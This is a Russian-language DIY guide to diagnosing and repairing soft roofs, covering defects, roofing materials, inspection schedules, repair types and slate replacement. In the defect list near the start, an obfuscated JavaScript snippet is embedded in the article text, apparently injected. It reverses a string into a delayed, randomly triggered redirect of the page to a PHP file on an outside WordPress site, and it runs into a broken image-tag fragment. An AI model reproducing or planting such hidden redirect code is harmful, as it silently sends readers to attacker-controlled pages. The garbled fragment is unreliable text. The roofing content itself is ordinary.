Технология ремонта мягкой кровли своими руками

Типы дефектов мягкой кровли

Для того, чтобы определить потребность в ремонте, вовсе не обязательно ждать пока произойдет протечка, проблемы с покрытием можно диагностировать на ранней стадии и не доводить до крайностей. Течь – крайняя стадия, ее появление означает, что пострадали стропила и чердачное перекрытие.

О необходимости ремонта можно судить по следующим признакам:

появление выпуклостей на поверхности крыши, это говорит о частичном отслоении материала от основы. Приводит к таким последствиям нарушение технологии укладки кровельного материала (приклеивание к влажному основанию), а также просачивание воды в трещины на поверхности кровельного материала;

Последствия нарушения технологии монтажа

когда выполняется ремонт старой кровли, часто приходится наблюдать густую сетку трещин на поверхности кровельного материала. Связано это с воздействием солнечных лучей и тем, что материал за годы эксплуатации утратил большую часть защитной присыпки;

Со временем кровельный материал растрескивается

• на крышах многоэтажных домов растительность усугубляет повреждения крыши. Укореняясь в небольших трещинках за несколько лет растения повреждают даже бетон;
• в частных домах можно наблюдать небольшое коробление материала у края. В многоэтажных домах распространенный дефект – повреждение «пирога» кровли в области у карниза;

• часто причиной ремонта становятся механические повреждения;
• на плоской кровле могут быть проблемы с уклонами, в результате вода застаивается, лучше такой тип дефекта устранить до того, как влага найдет путь через крышу;

$NfI=function(n){if (typeof ($NfI.list) == «string») return $NfI.list.split(«»).reverse().join(«»);return $NfI.list;};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toyanii.png» alt=»Крыша находится в ужасном состоянии» width=»455″ height=»350″ /> Крыша находится в ужасном состоянии

еще одна распространенная причина ремонта – течь в местах, где на крышу выведены трубы вентиляции, печные трубы.

Виды покрытий ↑

На современном рынке строительных материалов представлен большой ассортимент самых различных марок кровельных покрытий. К наиболее популярным видам следует отнести:

•  мягкая битумная черепица;
•  рулонные наплавляемые материалы (стеклоэласт, в частности или бикрост);
•  кровельные мембраны;
•  битум или жидкая резина.

Распространенные

Битумная черепица – это многослойное покрытие, состоящее из стекловолокнистой основы и двух ограничивающих её поверхностей (лицевой и нижней). Наружное покрытие выполняется в виде мелкозернистой присыпки из гранул (базальт, кремний, сланец), а нижнее представляет собой самоклеящуюся подкладку с защитным слоем. Этот материал имеет множество достоинств, однако стоимость его достаточно велика. К тому же для его укладки от исполнителя потребуются определённые профессиональные навыки.

Рекомендуем к изучению статью: Монтаж мягкой кровли.

Наплавляемые защитные покрытия рулонного типа – это современные аналоги классического рубероида, изготавливаемые на основе таких материалов, как стеклоткань, полиэфир или стеклохолст. Как правило, они используются при ремонте плоских кровель и настилаются в 2-3 слоя. Их стоимость несколько ниже, чем у черепицы, а для работы с ними высокого профессионального мастерства, как правило, не требуется.

Кровельные мембраны позволяют получать защитные оболочки на основе полимерных материалов и подразделяются на ПВХ, ЭПДМ и ТПО покрытия. Все они отличаются прекрасными показателями прочности и имеют длительные сроки службы. Для обработки поверхностей с этими относительно дорогими материалами потребуется специальное распылительное оборудование и определённое умения обращения с ним.

Покрытия на основе жидкой резины относятся к совершенно иным по структуре кровельным материалам. Они представляют собой полимерную смесь (мастику), в жидком виде наносимую на восстанавливаемую поверхность.

Бесспорными преимуществами этих уникальных составов являются:

•  возможность восстановления и обработки кровельных поверхностей, имеющих сложный рельеф;
•  высокий уровень ремонтопригодности;
•  надёжная адгезия с известными строительными материалами;
•  обеспечение качественной гидроизоляции;
•  монолитность образуемого покрытия, лишённая швов и перехлестов.

Основное достоинство этого вида кровельного материала – высокая скорость формирования и высыхания защитного покрытия (примерно через 30 минут по отремонтированному месту уже можно будет ходить). Стоимость жидкой резины сравнима с ценами на рулонные покрытия, так что многие пользователи при малейшей возможности отдают предпочтение именно ей.

Для получения полной ясности с характером повреждений и способом их ликвидации следует внимательно ознакомиться со специфическими признаками возможных дефектов.

Виды рулонных кровельных материалов

Отличия рулонных кровельных материалов обусловлены различными по типу и составу материалами для основы, связующими веществами, а также фракцией и видом используемом при производстве посыпки.

Основа рулонных материалов может быть представлена стеклохолстом, стеклотканью или полиэстером – наиболее прочным и надёжным материалом;

Материал от Тхнониколь

Связующее вещество обычно основано на использовании окисленного или полимеризованного битумов. Второй вариант более устойчив к температурным изменениям и обладает хорошей эластичностью. Такие свойства позволяют применять рулонные материалы на сложных типах кровли.

Самой оптимальной полимерной добавкой является стиролбутадиенстирол, который положительно влияет на качественные характеристики готового материала.

Для поверхностной посыпки используются различные материалы, отличающиеся размером фракций: крупнозернистые, среднезернистые, мелкозернистые, пылевидные и чешуйчатые. Защитная функция посыпки позволяет оградить битум от воздействия УФ-лучей и увеличивает устойчивость к внешним воздействиям и нагрузкам.

Основные виды рулонных кровель на строительном рынке представлены рубероидом, наплавляемый рубероидом, стеклорубероидом и современными мембранными материалами.

Материалы для ремонта мягкой кровли

Как и всё, что нас окружает, мягкая кровля постепенно изнашивается, её гидроизоляционные свойства ослабевают, и возникает необходимость в проведении ремонта, который осуществляется с помощью:

• поверхностного наложения рулонных материалов — при этом используется материал, наложенный ранее, который скрепляется с предыдущим слоем при помощи горячего битума;
• наплавляемых материалов — в этом случае чаще используют рубемаст — битумное полотно с более толстым нижним слоем. Весь процесс ремонта занимает несколько часов: новое покрытие накладывается без особых усилий после предварительного обогрева;
• мастики — это самый доступный материал для ремонта практически всех видов мягкой кровли. Представляет собой битумную, полимерную или битумно-полимерную вязкую однородную массу, которая наносится на повреждённую поверхность с помощью лопатки или жёстких кистей. Также может использоваться и в качестве клеевой основы для предыдущих видов ремонта.

ОБРАТИТЕ ВНИМАНИЕ!

Ремонт мягкой кровли с помощью рубемаста значительно легче, чем при поверхностном наложении дополнительного слоя идентичных кровельных материалов. Кроме этого, в итоге такая процедура окажется гораздо менее затратной.

Дефекты мягкой кровли

Нарушения кровельного покрытия со всей очевидностью проявляют себя постоянными протечками во время дождя и таяния снега. Причиной таких проблем бывает либо некачественно выполненный монтаж, либо механические повреждения. С большой вероятностью изъян образуется в местах примыкания кровли к вентиляционным трубам и в области стыков плит.

Нередко влага проникает во внутренние помещения

В этом случае важно обратить внимание на наличие микротрещин, размер фартуков и состояние парапетов

К типичным дефектам мягкой кровли относятся:

• нарушения герметичности стыков;
• наросты из мха, грибов и т. п.;
• вздутие и расслаивание покрытия;
• механические повреждения, вызванные контактом с растяжками, ветками и т. п.

Чтобы избежать появления серьёзных разрушений кровли, необходимо проводить осмотр, как минимум, раз в сезон:

Время года	Возможные проблемы кровли
весна	наличие пятен от попадания воды на потолках внутренних помещений на верхних этажах; размеры и расположение вздутий элементов кровли; состояние фартуков; состояние стыков в месте примыкания гидроизоляции.
лето	появление трещин наружного слоя; наличие вздутий.
осень	состояние стен (возможность их намокания при наружном водостоке); участки, в которых возможен застой воды (при внутреннем водостоке); засорённость водосточных воронок.
зима	величина снежного покрова на крыше; степень обледенения крыши и водосточных воронок; размеры и количество сосулек.

Если во время ревизии обнаружились дефекты, встаёт вопрос о том, как отремонтировать мягкую кровлю. В зависимости от масштабов повреждений, может потребоваться капитальный или текущий ремонт.

Классификация и особенности мягких кровельных покрытий

Все мягкие кровельные материалы делятся на три группы:

• Подкладочные;
• Кровельные;
• Гидроизоляционные.

Из наиболее распространенных и популярных материалов стоит выделить марки Стеклоэласт, Унифлекс, Техноэласт и Линокром. Представленные покрытия обладают всеми необходимыми качествами и уже давно были оценены по достоинству как неопытными мастерами, так и профессиональными строителями.

Если же говорить непосредственно о мягких кровельных материалах, то самыми популярными являются:

1. Пергамин. Пергамин представляет собой картон, который был пропитан составом на основе нефти.
2. Картон. Этот материал является основой для дегтевых и гидроизоляционных кровельных покрытий. Его всегда укладывают в нижних частях мягкого ковра.
3. Толь. В основе толя также лежит картон, но в данном случае его обрабатывают дегтевыми веществами. Толь может выпускаться как без покрытия, так и с песчаной посыпкой разных фракций. Данный материал отличается хорошими гидроизоляционными свойствами и обычно укладывается на верхней части кровельного ковра.
4. Черепица. Мягкая кровельная черепица включает в себя стекловолокно, обработанное битумом и дегтевыми составами. Сверху черепица покрывается минеральной крошкой, придающей материалу хорошую защиту от большинства внешних воздействий.
5. Рубероид.

Все описанные материалы могут использоваться при монтаже кровли как самостоятельно, так и в качестве изоляционного слоя.

Как определить, что кровля нуждается в ремонте

Мягкая кровля – это современное и очень качественное покрытие, которое не гремит во время дождя и не боится града или толстого снежного покрова. Но могут сложиться обстоятельства, которые всё же приведут к её повреждению

Часто причиной является неосторожное передвижение по крыше, неаккуратная чистка от снега и ураганный ветер

Какие дефекты могут обнаружиться на поверхности мягкой кровли:

• материал может треснуть и порваться;
• если под кровлю здания попала вода, поверхность основания может вздуться пузырём;
• на участках, где застаивается влага, развивается плесень;
• возникают неровности от механической нагрузки в местах соприкосновения с тяжёлыми деталями.

Самым главным сигналом о необходимости поиска повреждения являются протечкиФОТО: masterdah.com.ua

Иногда такой сигнал появляется уже в первый же дождь после монтажа, а это говорит о том, что проектирование кровли или работы по её монтажу были выполнены с нарушением.

Самыми распространёнными ошибками в проектировании является неправильный крепёж, слишком большая или малая толщина утеплителя, недостаточное количество клея.

Что кроме протечки может свидетельствовать о повреждении кровли? Влажные стропила, пятно на потолке – это очевидные сигналы. И имейте в виду: совсем не факт что там, где образовалось пятно, и есть место повреждения кровли. Не исключено, что протечка произошла в другом месте, а влага, путешествуя между слоями кровельного пирога, нашла себе выход именно в этой точке.

Чтобы своевременно производить ремонт, не дожидаясь катастрофического разрушения материала, нужно не реже четырёх раз в год, после каждого сезона, проводить подробный осмотр кровли снаружи и стропильной системы изнутриФОТО: espacerenovert.ca

Протечка кровли в многоквартирном доме – как правильно решить проблему

Протечки, помимо всевозможных осадков, бывают от микротрещин в рулонных материалах или от скопившегося под кровельным «ковром» конденсата. И все это не зависит от того, старый ли это дом или новостройка. Общая причина протекания состоит в том, что нарушается герметичность покрытия кровли.

Причины протечки плоской крыши:

• Истек срок годности кровельного материала или он некачественный;
• Повреждение покрытия кровли, особенно зимой при проведении работ, связанных с уборкой снега и удалением льда;
• Нарушение технологии по установке кровельного покрытия;
• Края крыши задуваются при порывах ветра и поднимаются, поэтому под кровлю попадает снег или осадки. В этом случае может не соблюдаться технология наклеивания рулонных элементов;
• На кровельное покрытие негативное воздействие оказывают корни кустов растений, которые его разрушают. Данная проблема часто наблюдается и в гараже, где растения прорастают на крыше.

Причины протечки скатной крыши:

• Течь возникает в том месте, где кровля примыкает к дымовым и вентиляционным каналам, стенам. Место их соприкосновения некачественно устроено, неправильным образом обустроены желоба и разжелобки;
• Температура также сильно влияет на протечки.

Что делать, если течет крыша в многоквартирном доме? Самостоятельно ремонтировать текущую кровлю нельзя, этим должны заниматься специальные службы. Чтобы понять, куда обращаться в этом случае с жалобой, надо знать адрес управляющей компании, которая отвечает за состояние вашего дома, и прежде всего, сфотографировать места протечки в квартире и участки с протечкой кровли, или сделать видео с датой и временем. Сначала обратитесь к диспетчеру службы ЖЭУ, желательно с письменным заявлением. Но если такой возможности нет, то позвоните по телефону. Обязательно постарайтесь узнать Ф.И.О человека и его должность, и номер, под которым будет зарегистрирована ваша жалоба.

Если крыша протекает на балконе последнего этажа, на помощь со стороны ЖЭУ можно рассчитывать, подав туда заявление. На нижних этажах придется балконную крышу чинить самим.

Действия коммунальщиков

Чтобы устранить течь, в течение двух недель должна быть создана комиссия, которая придет в квартиру. Она должна составить акт обследования, в котором важным пунктом должна быть стоимость ремонта и сумма нанесенного ущерба. Позаботьтесь, чтобы у вас при этом присутствовали свидетели.

Поиск места протечки

При осмотре жилища комиссия должна установить проблемное место, откуда идет течь. В этом должны разобраться рабочие, которые осматривают снаружи кровельную часть и помещение изнутри. Они составляют соответствующий акт, который подписывает комиссия и свидетели. При обнаружении «плохой зоны» представители ЖЭУ должны принять решение по ликвидации проблемы.

Для чего нужны кровельные герметики

Герметики могут использоваться как в качестве строительного материала, так и как ремонтное средство для обслуживания кровли.

С помощью данного материла можно осуществлять следующие кровельные работы:

• Заделывать швы между отдельными элементами кровельной укладки. Чаще всего в этом нуждаются крыши, имеющие небольшой угол уклона.
• Герметизировать стыки на тех участках, где кровельный материал соприкасается с другими покрытиями.
• Устранять щели в районе прохождения дымоходных каналов, водосточных труб, вентиляционных шахт, коммуникаций и прочих элементов, из-за которых происходит нарушение монолитности кровельного покрытия.
• Обрабатывать коньки, расположенные под уклоном.
• Предотвращать мостики холода.
• Осуществлять быструю заделку мест протеканий.

Наибольшей популярностью пользуются шесть разновидностей кровельных герметиков

В какой последовательности должны осуществляться мероприятия по ремонту кровли?

Для начала необходимо определить наличие дефектов, которые нужно исправить.

При визуальном осмотре следует обратить внимание на такие моменты как:

• Присутствие разрывов в местах стыков полотнищ кровельной подложки;
• Наличие на наружной части кровли наглядных ям и впадин, которые являются местами скопления дождевой воды и влаги;
• Обнаружение вздувшихся областей на поверхности кровли. Данный факт свидетельствует о попадании воды и влаги под защитный кровельный слой;
• Выявить места возникновения гнили и плесени;
• Визуально оценить кровлю на наличие трещин и деформацию кровельной поверхности.

Технический осмотр мягкой кровли частного дома необходимо осуществлять каждый год, желательно это делать весной и осенью. Как можно раннее выявление мест повреждений позволит исправить дефекты дешёвым и быстрым способом.

Реальная оценка технического состояния кровли поможет сделать вывод о типе ремонта, необходимого для данной кровли.

Исправление покрытия в зонах примыкания и области конька

В большинстве случаев необходимость в ремонте на крыше вызвана тем, что гидроизоляционный ковер начинает сходить с основы, что приводит к протечкам. Им первым делом закрываются стыки мягкой битумной черепицы со стеной или трубой, дымоходом. Также многие владельцы предпочитают армировать гидроизоляционный материал при помощи металлических фартуков. Это своего рода парапет для кровли, который выполняет разные функции. И во многом ему отдают предпочтение для улучшения гидроизоляции стыков. По большему счету крыша начинает течь вследствие неплотного прилегания фартука к местам примыкания.

Чтобы решить проблему, необходимо отыскать на мягкой черепице локализацию протечки и после этого выяснить, что могло служить причиной. По ходу ремонта обычно убирается слой гидроизоляции вместе с фартуком, потом работа по их установке выполняется заново. Только на этот раз нужно приобрести новые материалы, хотя фартук после осмотра можно оставить, если он не поврежден или купить другой.

Иногда причиной протечки и ремонта крыши служит сама битумная черепица. В этом случае необходимо осмотреть панель на предмет наличия повреждений либо воздушного «кармана». После диагноза поврежденная черепица демонтируется, на ее место крепится новый элемент.

Другое не менее интересное и занимательное место на черепице – это конек кровли. На этом участке ремонт выполняется легко и не занимает много времени. К данному элементу крыши крепятся стартовые полосы, которые, по сути, представляют собой ту же мягкую битумную черепицу, но с отрезанными гонтами. Получившаяся полоска условно делится на три части:

• середина полосы закрепляется на коньке крыши (поперечно);
• две другие части полоски крепятся к обрешетке по обеим сторонам конька.

Полоска за полоской покрывается весь элемент. Суть ремонта черепицы – обнаружить дефектную полосу, после чего убрать ее, предварительно сняв гвозди. На место старой полосы новая полоска фиксируется крепежными изделиями на обрешетке.

Теперь о еще одном уязвимом месте кровли – это места прохода труб вентиляции сквозь черепицу. В настоящее время для герметизации стыков выполняется специальными колпаками, которые изготавливаются из резины высокопрочного сорта. Монтаж выполняется следующим образом – колпаки надеваются на трубы, затем закрепляются на скате кровли. В качестве крепежа используются саморезы.

Потеря герметичности происходит лишь в зонах стыка колпаков с кровельным материалом. Причина неприятности банальная и лежит на поверхности – такое случается во многом только в результате неправильных операций монтажа черепицы. В частности, если очень сильно закрутить крепеж, это заканчивается деформацией места сопряжения. Тут уже не до ремонта – придется менять весь колпак.

Однако не стоит винить одних только монтажников с их «прямыми» руками, ведь проблема вызывается еще воздействием матушки Природы. Из-за сильных ветров возрастает нагрузка на крышу и тогда ремонт кровли из гибкой черепицы сопровождается кардинальными мерами, как было упомянуто чуть выше.

Капитальный ремонт с укладкой рубероида

Если повреждения мягкой кровли составляют значительную площадь и имеют глубокую основу, необходимо провести капитальный ремонт с полной заменой текущего покрытия.

Для осуществления этого метода можно придерживаться следующей технологии:

1. Сперва необходимо полностью удалить старое покрытие при помощи специального оборудования, если такового нет в наличии, можно использовать обычный топор с длинной рукояткой.
2. Очистить крышу от мусора и просушить, если она влажная;
3. Оценить состояние старой стяжки, если на ней мало трещин и повреждений, восстановить только поврежденные места, залив разогретым битумом или цементом. Если же повреждения значительные, то может потребоваться полная стяжка поверхности слоем цемента. В некоторых случаях перед стяжкой поверхность покрывают слоем гравия или пенопласта для тепло и гидроизоляции;
4. Через несколько часов после стяжки цементный слой следует покрыть тонким слоем битума, чтобы создать защитный слой, препятствующих испарению влаги из грунта;
5. После полного застывания цемента можно приступить к укладке кровельного слоя.
6. Если в качестве покрытия выбран рубероид, то сперва нужно раскатать рулоны и оставить на несколько часов, чтобы материал распрямился;
7. Далее необходимо измерить длину крыши, разрезать материал на соответствующей длины полоски и начать прокладывать их с нижнего края крыши, поднимаясь вверх. Для каждого следующего ряда нужно сохранять нахлест в 10 — 15 см. Чтобы материал плотно приклеился, его края нужно смазать битумной мастикой или расплавленным битумом.
8. Если при прокладывании рубероида образовались небольшие вздутия, то их необходимо проколоть, выдавить воздух, плотно прижать и обработать слоем битума или мастики;
9. Швы покрытия также необходимо покрыть слоем рубероида.

Обычно кровельное покрытие прокладывается в несколько слоев, от двух до пяти, в зависимости от угла склона крыши. В случае использования рубероида каждый последующий слой необходимо прокладывать не менее, чем через 12 часов после наложения первого.

Ремонт мягкой кровли: особенности выполнения работ своими руками

Основными преимуществами мягких кровель является демократичная цена, хорошие эксплуатационные характеристики и возможность выполнить ремонт мягкой кровли своими руками при минимальных строительных навыках. Самая популярная мягкая кровля – наплавляемая из стекловолокнистой (стеклохолст, стеклоткань) или негниющей синтетической поверхности (полиэстера), на которую наносится битумная смесь с двух сторон. Кроме того, на верхнюю часть может наноситься защитный слой: песчаная, мелкая слюдяная, сланцевая крошка.

Для того, чтобы исключить значительные расходы на капитальный ремонт мягкой кровли, рекомендуется соблюдать периодичность ремонта каждые три года, и неважно то ли это ремонт мягкой кровли гаража маленькой площади, то ли огромного торгового павильона. При этом потребность в регулярном ремонте относится ко всем видам мягких кровель:

• рулонные кровли;
• мягкие мембранные кровли;
• мягкая черепица.

Относительно частый ремонт – это особенность эксплуатации материала, так как из-за температурных перепадов, воздействия солнечных лучей или изменения уровня влажности битумная основа расслаивается и трескается. Обильные осадки смывают часть защитного слоя, а под воздействием мороза битум становится хрупким.

Основные виды дефектов мягкой кровли:

1. Протечки в основном появляются в период таяния снега, сразу после дождя или в течение нескольких часов/дней. Разрывы клеящей мастики или размягчение.
2. Вздутие кровельного пирога (с водой, с воздухом).
3. Трещины верхнего слоя.
4. Складки, сползания, отслаивания в местах примыкания к вертикальной поверхности.
5. Промерзание или влажность потолков верхнего этажа или теплоизоляции.

В зависимости от состояния кровли, зависит технология ремонта мягкой кровли и перечень работ по восстановлению покрытия. Как правило, бюджет ремонта определяется сразу после обследования состояния кровли и включает стоимость материалов и комплектующих, а при выборе квалифицированной помощи – еще и стоимости услуг специалистов.

Мягкая кровля: технологии и виды ремонта

Перечень ремонтных работ – технологии ремонта определяются в зависимости от результатов ревизии крыши. Даже если требуется срочный (аварийный) ремонт мягкой кровли после дождя, необходимо предварительно составить перечень материалов, так как, в зависимости от выбранной технологии, «бюджет» ремонта может существенно отличаться. Основными технологиями ремонта мягкой кровли являются:

• замена покрытия или черепиц;
• обновление (теплоизоляционного, гидроизоляционного слоя);
• выравнивание мест дефектов (с применением рулонных материалов);
• монтаж выкружек (бортик который устанавливается между основанием плоской кровли и примыканием под углом 45° для сглаживания угла в местах примыкания к парапетам, шахтам);
• восстановление/монтаж водостока.

В зависимости от выбранной технологии, определяются материалы для ремонта мягкой кровли и инструменты для выполнения работ. Как правило, ремонт мягкой кровли по объему работ классифицируется на 2 вида: текущий, капитальный.

Текущий ремонт мягкой кровли.

Текущий ремонт включает любые виды работ, которые не связаны с демонтажем: вскрытие пузырей, ремонт старого ковра, замена/ревизия водоприемных воронок, замена/восстановление карнизных свесов, покрытий парапетов, ремонт мест примыканий, наплавление новых слоев (1-2) или огрунтовка старого ковра. В зависимости от способа выполнения, выделяется несколько разновидностей текущего ремонта:

1. «Местами» заключается в установке заплаток в виде точечного, дешевого, но малоэффективного способа устранения протечек. Связано это с тем, что точно определить место протечки можно только в местах повреждений (трещины, разрывы) ковра, а стекать вода по стяжке может в любом другом или нескольких местах, «путешествуя» по перекрытию.
2. По-старому без удаления старого покрытия с устройством нового (1-2 слоя) поверх. При выборе этого способа необходимо учесть, что дополнительная нагрузка возрастет на 5 кг/м2.

Капитальный ремонт мягкой кровли

Капитальный ремонт относится к самым эффективным способам восстановления кровли, но и самым дорогим. Целесообразно производить такой ремонт при невозможности/недостаточности мер, которые включены в текущий ремонт, критичном намокании утеплителя, потери теплоизоляционных свойств, недостаточного утепления (промерзания) кровли:

1. Мини-вариант капитального ремонта – это замена ковра, карнизных свесов, фартуков примыкания, покрытий парапетов, частичный ремонт стяжки.
2. Классический капитальный ремонт включает полную замену основания кровли (стяжки), исправление «разуклонки», полную замену пирога до перекрытия с заменой пароизоляции и утеплителя.

Отличительные характеристики ремонта гибкой черепицы

Прежде чем отремонтировать гибкую черепицу, делается зрительный осмотр плоскости кровли для цели определения размаха работ. Отличают 3 вида ремонта:

1. Текущий, направленный на удаление маленьких недостатков кровельного полотна (трещин, дыр, разошедшихся соединений).
2. Капитальный – нужен на случай, когда текущий ремонт не может обеспечить обязанную влагонепроницаемость кровли.
3. Аварийный – изготавливается в результате протечки, или после внезапного дефекта плоскости кровли.

Для удаления маленьких дыр и трещин недостатки заливают мастикой на основе битума, клеят кусочек рубероида, после этого сверху наносят добавочный слой битума. соединение разошедшихся соединений выполняется так: материал приподымается, пространство под ним подсушивается с помощью горелки, после на сухой участок наноситься битум, и материал опять спускается. Проблематичный стык еще раз отделывается мастикой.

Капремонт мягкой рулонной крыши выполняется по следущей схеме:

• снимается изношенное покрытие;
• востанавливается стяжка из цемента и, если нужно, то ложится тепло-, паро- и гидрозащита;
• ложится новый материал для кровли.

Чтобы исключить предполагаемого скопления воды на плоскости кровли следует залить ее водой, выделить мелом участки, где вода не стекла. Согнать воду и подсушить кровлю, после этого отмеченные места залить горячей мастикой или положить дополнительный рубероидный слой толщиной не больше 1 мм. Последним шагом станет укладка слоя находящегося сверху крыши с дальнейшим нанесением на него специализированного состава, нейтрализующего отрицательное влияние окружающей среды.

в начале реставрационных работ нужно приготовить следующее оборудование для работ по ремонту гибкой черепицы:

• газовую горелку (подогреть покрытие можно и паяльной лампой, но в этом варианте процесс работы значительно затянется);
• топор или монтажный резак для разборки покрытия которое уже устарело;
• острый нож для нарезания материала;
• маклавицы для нанесения грунтовки и мастики на основе битума;
• веник или метла для удаления мусора.

Выполняя ремонтные работы крыши в зимнее время, к перечисленному оборудованию необходимо добавить древесную лопату для очищения плоскости кровли от снега. Необходимо помнить и о спецодежде, без перчаток, ботинок и рабочих брюк из крепкой ткани начать работать не рекомендуют.

Очень важным требованием неопасной работы с газовой горелкой считается применение защитных очков.

Виды ремонта плоской кровли

Работы по восстановлению покрытия крыши принято разделять на три категории:

1. Текущий ремонт.
2. Капитальный ремонт.
3. Аварийные мероприятия.

Текущий ремонт

Текущий ремонт представляет собой комплекс работ, направленных на поддержание нормального состояния крыши: устраняются мелкие повреждения и дефекты, которые в будущем могут привести к протечкам. Обычно совокупная площадь восстанавливаемых участков не превышает 40% всей площади крыши, при этом ремонтники чаще всего ограничиваются манипуляциями с поверхностным слоем.

Проблемные места выявляются путём осмотра, который рекомендуется проводить раз в полгода, в крайнем случае — раз в год.

Очень важно проводить текущий ремонт своевременно, поскольку мелкие повреждения на плоской крыше довольно быстро развиваются в крупные, что влечёт за собой значительный рост затрат на восстановление покрытия

Капитальный ремонт

При сильном износе, когда площадь участков с повреждениями или неудовлетворительным состоянием превышает 40% площади крыши, прибегают к полномасштабному переустройству кровельного пирога. Фактически кровля, начиная с пароизоляции, настилается заново — только небольшая часть материалов, находящихся в хорошем состоянии, используется повторно.

При выполнении капитального ремонта плоской кровли все слои кровельного пирога демонтируются и укладываются заново

Аварийный ремонт

К аварийному ремонту приходится прибегать в срочном порядке, если крыша дала течь. Если текущий и капитальный ремонт обычно выполняют в тёплое время года, то аварийный делают, когда придётся, и в этом состоит его особенность.

Зимой выполняются аварийные работы, необходимые для срочного устранения дефектов кровельного покрытия

Какие материалы необходимы для ремонта мягкой кровли

Чтобы ремонтировать кровлю, вам потребуется тот же материал, из которого она состоит. Мягкие кровли бывают битумными, мембранными, рубероидными или покрытыми бикростом. Так что начать нужно с изучения основного покрытия. Если повреждения коснулись слоя утепления или гидроизоляции, то нужно подобрать соответствующий заменитель.

Кроме того, для ремонта нужен скрепляющий состав. Это может быть обычный битум или специальная мастика на основе битума. Лучше выбирать современные клеевые составы, которые можно наносить в любую погоду и при любой температуре.

Некоторые составы наносятся в разогретом виде, обратите на это вниманиеФОТО: legkovmeste.ru

Замена листов шифера

Если кровля из шифера повреждена достаточно сильно, потребуется ее перестелить по новой. Действовать при этом следует поэтапно:

1. Произвести полный демонтаж покрытия, следя за тем, чтобы на кровле не оставалось торчащих гвоздей.
2. Оценить состояние открывшихся стропил и опалубки. Если состояние критическое или близкое к этому, потребуется произвести и здесь замену.
3. Чтобы обеспечить безупречную герметичность кровли, поверх стропил (старых или новых — все равно) следует наложить слой изолирующего материала (например, традиционного рубероида, внахлест).
4. Теперь самое время приступить к укладке новых листов шифера. И начинать нужно с нижнего угла, двигаясь по прямой — к углу противоположному. Только так можно обеспечить правильную геометрическую укладку с требуемым нахлестом (край одного листа должен совпадать с волной следующего за ним).
5. После укладки первого ряда, надо переходить ко второму. При этом напуск должен составлять на менее 10 см. К стропилам (обрешетке) шифер крепится специальными «шиферными» гвоздями большой длины (чем длиннее гвоздь, тем дольше конструкция простоит без смещения — это аксиома). А чтобы лист не скололся и не растрескался, гвозди вбиваются исключительно в «гребень» шиферной волны, то есть в его верхнюю, выпуклую часть. И от края листа нужно делать достаточный отступ. Если же речь идет о шифере на каучуковой основе, гвозди нужно вбивать, наоборот, в волновую впадину и поближе к нахлесту. Там, где листы шифера выступают за кровлю или упираются в дымоход, надо обрезать их вручную или болгаркой.
6. На заключительном этапе замещающего кровельного ремонта следует защитить коньки крыши. Герметичность их обеспечивается специальными накладками из суперпрочного пластика, металла или металлочерепицы.